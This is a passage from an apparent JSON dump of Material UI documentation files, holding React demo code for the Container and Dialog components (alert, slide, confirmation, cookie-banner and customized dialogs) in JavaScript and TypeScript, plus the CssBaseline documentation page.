    "content": "import * as React from 'react';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\n\nexport default function FixedContainer() {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <Container fixed>\n        <Box sx={{ bgcolor: '#cfe8fc', height: '100vh' }} />\n      </Container>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/container/FixedContainer.tsx.preview",
    "content": "<React.Fragment>\n  <CssBaseline />\n  <Container fixed>\n    <Box sx={{ bgcolor: '#cfe8fc', height: '100vh' }} />\n  </Container>\n</React.Fragment>"
  },
  {
    "path": "docs/data/material/components/container/SimpleContainer.js",
    "content": "import * as React from 'react';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\n\nexport default function SimpleContainer() {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <Container maxWidth=\"sm\">\n        <Box sx={{ bgcolor: '#cfe8fc', height: '100vh' }} />\n      </Container>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/container/SimpleContainer.tsx",
    "content": "import * as React from 'react';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\n\nexport default function SimpleContainer() {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <Container maxWidth=\"sm\">\n        <Box sx={{ bgcolor: '#cfe8fc', height: '100vh' }} />\n      </Container>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/container/SimpleContainer.tsx.preview",
    "content": "<React.Fragment>\n  <CssBaseline />\n  <Container maxWidth=\"sm\">\n    <Box sx={{ bgcolor: '#cfe8fc', height: '100vh' }} />\n  </Container>\n</React.Fragment>"
  },
  {
    "path": "docs/data/material/components/container/container.md",
    "content": "---\nproductId: material-ui\ntitle: React Container component\ncomponents: Container, PigmentContainer\ngithubLabel: 'component: Container'\ngithubSource: packages/mui-material/src/Container\n---\n\n# Container\n\n<p class=\"description\">The container centers your content horizontally. It's the most basic layout element.</p>\n\nWhile containers can be nested, most layouts do not require a nested container.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n## Fluid\n\nA fluid container width is bounded by the `maxWidth` prop value.\n\n{{\"demo\": \"SimpleContainer.js\", \"iframe\": true, \"defaultCodeOpen\": false}}\n\n```jsx\n<Container maxWidth=\"sm\">\n```\n\n## Fixed\n\nIf you prefer to design for a fixed set of sizes instead of trying to accommodate a fully fluid viewport, you can set the `fixed` prop.\nThe max-width matches the min-width of the current breakpoint.\n\n{{\"demo\": \"FixedContainer.js\", \"iframe\": true, \"defaultCodeOpen\": false}}\n\n```jsx\n<Container fixed>\n```\n"
  },
  {
    "path": "docs/data/material/components/css-baseline/css-baseline.md",
    "content": "---\nproductId: material-ui\ncomponents: CssBaseline, ScopedCssBaseline\ngithubLabel: 'component: CssBaseline'\ngithubSource: packages/mui-material/src/CssBaseline\n---\n\n# CSS Baseline\n\n<p class=\"description\">The CssBaseline component helps to kickstart an elegant, consistent, and simple baseline to build upon.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n## Global reset\n\nYou might be familiar with [normalize.css](https://github.com/necolas/normalize.css), a collection of HTML element and attribute style-normalizations.\n\n```jsx\nimport * as React from 'react';\nimport CssBaseline from '@mui/material/CssBaseline';\n\nexport default function MyApp() {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      {/* The rest of your application */}\n    </React.Fragment>\n  );\n}\n```\n\n## Scoping on children\n\nHowever, you might be progressively migrating a website to Material UI, using a global reset might not be an option.\nIt's possible to apply the baseline only to the children by using the `ScopedCssBaseline` component.\n\n```jsx\nimport * as React from 'react';\nimport ScopedCssBaseline from '@mui/material/ScopedCssBaseline';\nimport MyApp from './MyApp';\n\nexport default function MyApp() {\n  return (\n    <ScopedCssBaseline>\n      {/* The rest of your application */}\n      <MyApp />\n    </ScopedCssBaseline>\n  );\n}\n```\n\n⚠️ Make sure you import `ScopedCssBaseline` first to avoid box-sizing conflicts as in the above example.\n\n## Approach\n\n### Page\n\nThe `<html>` and `<body>` elements are updated to provide better page-wide defaults. More specifically:\n\n- The margin in all browsers is removed.\n- The default Material Design background color is applied.\n  It's using [`theme.palette.background.default`](/material-ui/customization/default-theme/?expand-path=$.palette.background) for standard devices and a white background for print devices.\n- If `enableColorScheme` is provided to `CssBaseline`, native components color will be set by applying [`color-scheme`](https://web.dev/articles/color-scheme) on `<html>`.\n  The value used is provided by the theme property `theme.palette.mode`.\n\n### Layout\n\n- `box-sizing` is set globally on the `<html>` element to `border-box`.\n  Every element—including `*::before` and `*::after` are declared to inherit this property,\n  which ensures that the declared width of the element is never exceeded due to padding or border.\n\n### Scrollbars\n\n:::error\nThis API is deprecated.\nConsider using [color-scheme](#color-scheme) instead.\n:::\n\nThe colors of the scrollbars can be customized to improve the contrast (especially on Windows). Add this code to your theme (for dark mode).\n\n```jsx\nimport darkScrollbar from '@mui/material/darkScrollbar';\n\nconst theme = createTheme({\n  components: {\n    MuiCssBaseline: {\n      styleOverrides: (themeParam) => ({\n        body: themeParam.palette.mode === 'dark' ? darkScrollbar() : null,\n      }),\n    },\n  },\n});\n```\n\nBe aware, however, that using this utility (and customizing `-webkit-scrollbar`) forces macOS to always show the scrollbar.\n\n### Color scheme\n\nThis API is introduced in @mui/material (v5.1.0) for switching between `\"light\"` and `\"dark\"` modes of native components such as scrollbar, using the `color-scheme` CSS property.\nTo enable it, you can set `enableColorScheme=true` as follows:\n\n```jsx\n<CssBaseline enableColorScheme />\n\n// or\n\n<ScopedCssBaseline enableColorScheme >\n  {/* The rest of your application using color-scheme*/}\n</ScopedCssBaseline>\n```\n\n### Typography\n\n- No base font-size is declared on the `<html>`, but 16px is assumed (the browser default).\n  You can learn more about the implications of changing the `<html>` default font size in [the theme documentation](/material-ui/customization/typography/#html-font-size) page.\n- Set the `theme.typography.body1` style on the `<body>` element.\n- Set the font-weight to `theme.typography.fontWeightBold` for the `<b>` and `<strong>` elements.\n- Custom font-smoothing is enabled for better display of the Roboto font.\n\n## Customization\n\nHead to the [global customization](/material-ui/customization/how-to-customize/#4-global-css-override) section of the documentation to change the output of these components.\n"
  },
  {
    "path": "docs/data/material/components/dialogs/AlertDialog.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\n\nexport default function AlertDialog() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Open alert dialog\n      </Button>\n      <Dialog\n        open={open}\n        onClose={handleClose}\n        aria-labelledby=\"alert-dialog-title\"\n        aria-describedby=\"alert-dialog-description\"\n        role=\"alertdialog\"\n      >\n        <DialogTitle id=\"alert-dialog-title\">\n          {\"Use Google's location service?\"}\n        </DialogTitle>\n        <DialogContent>\n          <DialogContentText id=\"alert-dialog-description\">\n            Let Google help apps determine location. This means sending anonymous\n            location data to Google, even when no apps are running.\n          </DialogContentText>\n        </DialogContent>\n        <DialogActions>\n          <Button onClick={handleClose} autoFocus>\n            Disagree\n          </Button>\n          <Button onClick={handleClose}>Agree</Button>\n        </DialogActions>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/AlertDialog.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\n\nexport default function AlertDialog() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Open alert dialog\n      </Button>\n      <Dialog\n        open={open}\n        onClose={handleClose}\n        aria-labelledby=\"alert-dialog-title\"\n        aria-describedby=\"alert-dialog-description\"\n        role=\"alertdialog\"\n      >\n        <DialogTitle id=\"alert-dialog-title\">\n          {\"Use Google's location service?\"}\n        </DialogTitle>\n        <DialogContent>\n          <DialogContentText id=\"alert-dialog-description\">\n            Let Google help apps determine location. This means sending anonymous\n            location data to Google, even when no apps are running.\n          </DialogContentText>\n        </DialogContent>\n        <DialogActions>\n          <Button onClick={handleClose} autoFocus>\n            Disagree\n          </Button>\n          <Button onClick={handleClose}>Agree</Button>\n        </DialogActions>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/AlertDialogSlide.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport Slide from '@mui/material/Slide';\n\nconst Transition = React.forwardRef(function Transition(props, ref) {\n  return <Slide direction=\"up\" ref={ref} {...props} />;\n});\n\nexport default function AlertDialogSlide() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Slide in alert dialog\n      </Button>\n      <Dialog\n        open={open}\n        slots={{\n          transition: Transition,\n        }}\n        keepMounted\n        onClose={handleClose}\n        aria-describedby=\"alert-dialog-slide-description\"\n        role=\"alertdialog\"\n      >\n        <DialogTitle>{\"Use Google's location service?\"}</DialogTitle>\n        <DialogContent>\n          <DialogContentText id=\"alert-dialog-slide-description\">\n            Let Google help apps determine location. This means sending anonymous\n            location data to Google, even when no apps are running.\n          </DialogContentText>\n        </DialogContent>\n        <DialogActions>\n          <Button onClick={handleClose} autoFocus>\n            Disagree\n          </Button>\n          <Button onClick={handleClose}>Agree</Button>\n        </DialogActions>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/AlertDialogSlide.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport Slide from '@mui/material/Slide';\nimport { TransitionProps } from '@mui/material/transitions';\n\nconst Transition = React.forwardRef(function Transition(\n  props: TransitionProps & {\n    children: React.ReactElement<any, any>;\n  },\n  ref: React.Ref<unknown>,\n) {\n  return <Slide direction=\"up\" ref={ref} {...props} />;\n});\n\nexport default function AlertDialogSlide() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Slide in alert dialog\n      </Button>\n      <Dialog\n        open={open}\n        slots={{\n          transition: Transition,\n        }}\n        keepMounted\n        onClose={handleClose}\n        aria-describedby=\"alert-dialog-slide-description\"\n        role=\"alertdialog\"\n      >\n        <DialogTitle>{\"Use Google's location service?\"}</DialogTitle>\n        <DialogContent>\n          <DialogContentText id=\"alert-dialog-slide-description\">\n            Let Google help apps determine location. This means sending anonymous\n            location data to Google, even when no apps are running.\n          </DialogContentText>\n        </DialogContent>\n        <DialogActions>\n          <Button onClick={handleClose} autoFocus>\n            Disagree\n          </Button>\n          <Button onClick={handleClose}>Agree</Button>\n        </DialogActions>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/ConfirmationDialog.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport List from '@mui/material/List';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemText from '@mui/material/ListItemText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogActions from '@mui/material/DialogActions';\nimport Dialog from '@mui/material/Dialog';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nconst options = [\n  'None',\n  'Atria',\n  'Callisto',\n  'Dione',\n  'Ganymede',\n  'Hangouts Call',\n  'Luna',\n  'Oberon',\n  'Phobos',\n  'Pyxis',\n  'Sedna',\n  'Titania',\n  'Triton',\n  'Umbriel',\n];\n\nfunction ConfirmationDialogRaw(props) {\n  const { onClose, value: valueProp, open, ...other } = props;\n  const [value, setValue] = React.useState(valueProp);\n  const radioGroupRef = React.useRef(null);\n\n  React.useEffect(() => {\n    if (!open) {\n      setValue(valueProp);\n    }\n  }, [valueProp, open]);\n\n  const handleEntering = () => {\n    if (radioGroupRef.current != null) {\n      radioGroupRef.current.focus();\n    }\n  };\n\n  const handleCancel = () => {\n    onClose();\n  };\n\n  const handleOk = () => {\n    onClose(value);\n  };\n\n  const handleChange = (event) => {\n    setValue(event.target.value);\n  };\n\n  return (\n    <Dialog\n      sx={{ '& .MuiDialog-paper': { width: '80%', maxHeight: 435 } }}\n      maxWidth=\"xs\"\n      slotProps={{\n        transition: {\n          onEntering: handleEntering,\n        },\n      }}\n      open={open}\n      {...other}\n    >\n      <DialogTitle>Phone Ringtone</DialogTitle>\n      <DialogContent dividers>\n        <RadioGroup\n          ref={radioGroupRef}\n          aria-label=\"ringtone\"\n          name=\"ringtone\"\n          value={value}\n          onChange={handleChange}\n        >\n          {options.map((option) => (\n            <FormControlLabel\n              value={option}\n              key={option}\n              control={<Radio />}\n              label={option}\n            />\n          ))}\n        </RadioGroup>\n      </DialogContent>\n      <DialogActions>\n        <Button autoFocus onClick={handleCancel}>\n          Cancel\n        </Button>\n        <Button onClick={handleOk}>Ok</Button>\n      </DialogActions>\n    </Dialog>\n  );\n}\n\nConfirmationDialogRaw.propTypes = {\n  onClose: PropTypes.func.isRequired,\n  open: PropTypes.bool.isRequired,\n  value: PropTypes.string.isRequired,\n};\n\nexport default function ConfirmationDialog() {\n  const [open, setOpen] = React.useState(false);\n  const [value, setValue] = React.useState('Dione');\n\n  const handleClickListItem = () => {\n    setOpen(true);\n  };\n\n  const handleClose = (newValue) => {\n    setOpen(false);\n\n    if (newValue) {\n      setValue(newValue);\n    }\n  };\n\n  return (\n    <Box sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n      <List component=\"div\" role=\"group\">\n        <ListItemButton divider disabled>\n          <ListItemText primary=\"Interruptions\" />\n        </ListItemButton>\n        <ListItemButton\n          divider\n          aria-haspopup=\"true\"\n          aria-controls=\"ringtone-menu\"\n          aria-label=\"phone ringtone\"\n          onClick={handleClickListItem}\n        >\n          <ListItemText primary=\"Phone ringtone\" secondary={value} />\n        </ListItemButton>\n        <ListItemButton divider disabled>\n          <ListItemText primary=\"Default notification ringtone\" secondary=\"Tethys\" />\n        </ListItemButton>\n        <ConfirmationDialogRaw\n          id=\"ringtone-menu\"\n          keepMounted\n          open={open}\n          onClose={handleClose}\n          value={value}\n        />\n      </List>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/ConfirmationDialog.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport List from '@mui/material/List';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemText from '@mui/material/ListItemText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogActions from '@mui/material/DialogActions';\nimport Dialog from '@mui/material/Dialog';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport FormControlLabel from '@mui/material/FormControlLabel';\n\nconst options = [\n  'None',\n  'Atria',\n  'Callisto',\n  'Dione',\n  'Ganymede',\n  'Hangouts Call',\n  'Luna',\n  'Oberon',\n  'Phobos',\n  'Pyxis',\n  'Sedna',\n  'Titania',\n  'Triton',\n  'Umbriel',\n];\n\nexport interface ConfirmationDialogRawProps {\n  id: string;\n  keepMounted: boolean;\n  value: string;\n  open: boolean;\n  onClose: (value?: string) => void;\n}\n\nfunction ConfirmationDialogRaw(props: ConfirmationDialogRawProps) {\n  const { onClose, value: valueProp, open, ...other } = props;\n  const [value, setValue] = React.useState(valueProp);\n  const radioGroupRef = React.useRef<HTMLElement>(null);\n\n  React.useEffect(() => {\n    if (!open) {\n      setValue(valueProp);\n    }\n  }, [valueProp, open]);\n\n  const handleEntering = () => {\n    if (radioGroupRef.current != null) {\n      radioGroupRef.current.focus();\n    }\n  };\n\n  const handleCancel = () => {\n    onClose();\n  };\n\n  const handleOk = () => {\n    onClose(value);\n  };\n\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setValue((event.target as HTMLInputElement).value);\n  };\n\n  return (\n    <Dialog\n      sx={{ '& .MuiDialog-paper': { width: '80%', maxHeight: 435 } }}\n      maxWidth=\"xs\"\n      slotProps={{\n        transition: {\n          onEntering: handleEntering,\n        },\n      }}\n      open={open}\n      {...other}\n    >\n      <DialogTitle>Phone Ringtone</DialogTitle>\n      <DialogContent dividers>\n        <RadioGroup\n          ref={radioGroupRef}\n          aria-label=\"ringtone\"\n          name=\"ringtone\"\n          value={value}\n          onChange={handleChange}\n        >\n          {options.map((option) => (\n            <FormControlLabel\n              value={option}\n              key={option}\n              control={<Radio />}\n              label={option}\n            />\n          ))}\n        </RadioGroup>\n      </DialogContent>\n      <DialogActions>\n        <Button autoFocus onClick={handleCancel}>\n          Cancel\n        </Button>\n        <Button onClick={handleOk}>Ok</Button>\n      </DialogActions>\n    </Dialog>\n  );\n}\n\nexport default function ConfirmationDialog() {\n  const [open, setOpen] = React.useState(false);\n  const [value, setValue] = React.useState('Dione');\n\n  const handleClickListItem = () => {\n    setOpen(true);\n  };\n\n  const handleClose = (newValue?: string) => {\n    setOpen(false);\n\n    if (newValue) {\n      setValue(newValue);\n    }\n  };\n\n  return (\n    <Box sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n      <List component=\"div\" role=\"group\">\n        <ListItemButton divider disabled>\n          <ListItemText primary=\"Interruptions\" />\n        </ListItemButton>\n        <ListItemButton\n          divider\n          aria-haspopup=\"true\"\n          aria-controls=\"ringtone-menu\"\n          aria-label=\"phone ringtone\"\n          onClick={handleClickListItem}\n        >\n          <ListItemText primary=\"Phone ringtone\" secondary={value} />\n        </ListItemButton>\n        <ListItemButton divider disabled>\n          <ListItemText primary=\"Default notification ringtone\" secondary=\"Tethys\" />\n        </ListItemButton>\n        <ConfirmationDialogRaw\n          id=\"ringtone-menu\"\n          keepMounted\n          open={open}\n          onClose={handleClose}\n          value={value}\n        />\n      </List>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/CookiesBanner.js",
    "content": "import * as React from 'react';\nimport Stack from '@mui/material/Stack';\nimport TrapFocus from '@mui/material/Unstable_TrapFocus';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport Container from '@mui/material/Container';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport Paper from '@mui/material/Paper';\nimport Fade from '@mui/material/Fade';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\n\nexport default function CookiesBanner() {\n  const [bannerOpen, setBannerOpen] = React.useState(true);\n\n  const closeBanner = () => {\n    setBannerOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <AppBar position=\"fixed\" component=\"nav\">\n        <Toolbar>\n          <IconButton size=\"large\" edge=\"start\" color=\"inherit\" aria-label=\"menu\">\n            <MenuIcon />\n          </IconButton>\n        </Toolbar>\n      </AppBar>\n      <Container component=\"main\" sx={{ pt: 3 }}>\n        <Toolbar />\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet.\n        </Typography>\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet.\n        </Typography>\n      </Container>\n      <TrapFocus open disableAutoFocus disableEnforceFocus>\n        <Fade appear={false} in={bannerOpen}>\n          <Paper\n            role=\"dialog\"\n            aria-modal=\"false\"\n            aria-label=\"Cookie banner\"\n            square\n            variant=\"outlined\"\n            tabIndex={-1}\n            sx={{\n              position: 'fixed',\n              bottom: 0,\n              left: 0,\n              right: 0,\n              m: 0,\n              p: 2,\n              borderWidth: 0,\n              borderTopWidth: 1,\n            }}\n          >\n            <Stack\n              direction={{ xs: 'column', sm: 'row' }}\n              sx={{ justifyContent: 'space-between', gap: 2 }}\n            >\n              <Box\n                sx={{ flexShrink: 1, alignSelf: { xs: 'flex-start', sm: 'center' } }}\n              >\n                <Typography sx={{ fontWeight: 'bold' }}>\n                  This website uses cookies\n                </Typography>\n                <Typography variant=\"body2\">\n                  example.com relies on cookies to improve your experience.\n                </Typography>\n              </Box>\n              <Stack\n                direction={{\n                  xs: 'row-reverse',\n                  sm: 'row',\n                }}\n                sx={{\n                  gap: 2,\n                  flexShrink: 0,\n                  alignSelf: { xs: 'flex-end', sm: 'center' },\n                }}\n              >\n                <Button size=\"small\" onClick={closeBanner} variant=\"contained\">\n                  Allow all\n                </Button>\n                <Button size=\"small\" onClick={closeBanner}>\n                  Reject all\n                </Button>\n              </Stack>\n            </Stack>\n          </Paper>\n        </Fade>\n      </TrapFocus>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/CookiesBanner.tsx",
    "content": "import * as React from 'react';\nimport Stack from '@mui/material/Stack';\nimport TrapFocus from '@mui/material/Unstable_TrapFocus';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport Container from '@mui/material/Container';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport Paper from '@mui/material/Paper';\nimport Fade from '@mui/material/Fade';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\n\nexport default function CookiesBanner() {\n  const [bannerOpen, setBannerOpen] = React.useState(true);\n\n  const closeBanner = () => {\n    setBannerOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <AppBar position=\"fixed\" component=\"nav\">\n        <Toolbar>\n          <IconButton size=\"large\" edge=\"start\" color=\"inherit\" aria-label=\"menu\">\n            <MenuIcon />\n          </IconButton>\n        </Toolbar>\n      </AppBar>\n      <Container component=\"main\" sx={{ pt: 3 }}>\n        <Toolbar />\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet.\n        </Typography>\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet.\n        </Typography>\n      </Container>\n      <TrapFocus open disableAutoFocus disableEnforceFocus>\n        <Fade appear={false} in={bannerOpen}>\n          <Paper\n            role=\"dialog\"\n            aria-modal=\"false\"\n            aria-label=\"Cookie banner\"\n            square\n            variant=\"outlined\"\n            tabIndex={-1}\n            sx={{\n              position: 'fixed',\n              bottom: 0,\n              left: 0,\n              right: 0,\n              m: 0,\n              p: 2,\n              borderWidth: 0,\n              borderTopWidth: 1,\n            }}\n          >\n            <Stack\n              direction={{ xs: 'column', sm: 'row' }}\n              sx={{ justifyContent: 'space-between', gap: 2 }}\n            >\n              <Box\n                sx={{ flexShrink: 1, alignSelf: { xs: 'flex-start', sm: 'center' } }}\n              >\n                <Typography sx={{ fontWeight: 'bold' }}>\n                  This website uses cookies\n                </Typography>\n                <Typography variant=\"body2\">\n                  example.com relies on cookies to improve your experience.\n                </Typography>\n              </Box>\n              <Stack\n                direction={{\n                  xs: 'row-reverse',\n                  sm: 'row',\n                }}\n                sx={{\n                  gap: 2,\n                  flexShrink: 0,\n                  alignSelf: { xs: 'flex-end', sm: 'center' },\n                }}\n              >\n                <Button size=\"small\" onClick={closeBanner} variant=\"contained\">\n                  Allow all\n                </Button>\n                <Button size=\"small\" onClick={closeBanner}>\n                  Reject all\n                </Button>\n              </Stack>\n            </Stack>\n          </Paper>\n        </Fade>\n      </TrapFocus>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/CustomizedDialogs.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport { styled } from '@mui/material/styles';\nimport Dialog from '@mui/material/Dialog';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogActions from '@mui/material/DialogActions';\nimport IconButton from '@mui/material/IconButton';\nimport CloseIcon from '@mui/icons-material/Close';\nimport Typography from '@mui/material/Typography';\n\nconst BootstrapDialog = styled(Dialog)(({ theme }) => ({\n  '& .MuiDialogContent-root': {\n    padding: theme.spacing(2),\n  },\n  '& .MuiDialogActions-root': {\n    padding: theme.spacing(1),\n  },\n}));\n\nexport default function CustomizedDialogs() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Open dialog\n      </Button>\n      <BootstrapDialog\n        onClose={handleClose}\n        aria-labelledby=\"customized-dialog-title\"\n        open={open}\n      >\n        <DialogTitle sx={{ m: 0, p: 2 }} id=\"customized-dialog-title\">\n          Modal title\n        </DialogTitle>\n        <IconButton\n          aria-label=\"close\"\n          onClick={handleClose}\n          sx={(theme) => ({\n            position: 'absolute',\n            right: 8,\n            top: 8,\n            color: theme.palette.grey[500],\n          })}\n        >\n          <CloseIcon />\n        </IconButton>\n        <DialogContent dividers>\n          <Typography gutterBottom>\n            Cras mattis consectetur purus sit amet fermentum. Cras justo odio,\n            dapibus ac facilisis in, egestas eget quam. Morbi leo risus, porta ac\n            consectetur ac, vestibulum at eros.\n          </Typography>\n          <Typography gutterBottom>\n            Praesent commodo cursus magna, vel scelerisque nisl consectetur et.\n            Vivamus sagittis lacus vel augue laoreet rutrum faucibus dolor auctor.\n          </Typography>\n          <Typography gutterBottom>\n            Aenean lacinia bibendum nulla sed consectetur. Praesent commodo cursus\n            magna, vel scelerisque nisl consectetur et. Donec sed odio dui. Donec\n            ullamcorper nulla non metus auctor fringilla.\n          </Typography>\n        </DialogContent>\n        <DialogActions>\n          <Button autoFocus onClick={handleClose}>\n            Save changes\n          </Button>\n        </DialogActions>\n      </BootstrapDialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/CustomizedDialogs.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport { styled } from '@mui/material/styles';\nimport Dialog from '@mui/material/Dialog';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogActions from '@mui/material/DialogActions';\nimport IconButton from '@mui/material/IconButton';\nimport CloseIcon from '@mui/icons-material/Close';\nimport Typography from '@mui/material/Typography';\n\nconst BootstrapDialog = styled(Dialog)(({ theme }) => ({\n  '& .MuiDialogContent-root': {\n    padding: theme.spacing(2),\n  },\n  '& .MuiDialogActions-root': {\n    padding: theme.spacing(1),\n  },\n}));\n\nexport default function CustomizedDialogs() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Open dialog\n      </Button>\n      <BootstrapDialog\n        onClose={handleClose}\n        aria-labelledby=\"customized-dialog-title\"\n        open={open}\n      >\n        <DialogTitle sx={{ m: 0, p: 2 }} id=\"customized-dialog-title\">\n          Modal title\n        </DialogTitle>\n        <IconButton\n          aria-label=\"close\"\n          onClick={handleClose}\n          sx={(theme) => ({\n            position: 'absolute',\n            right: 8,\n            top: 8,\n            color: theme.palette.grey[500],\n          })}\n        >\n          <CloseIcon />\n        </IconButton>\n        <DialogContent dividers>\n          <Typography gutterBottom>\n            Cras mattis consectetur purus sit amet fermentum. Cras 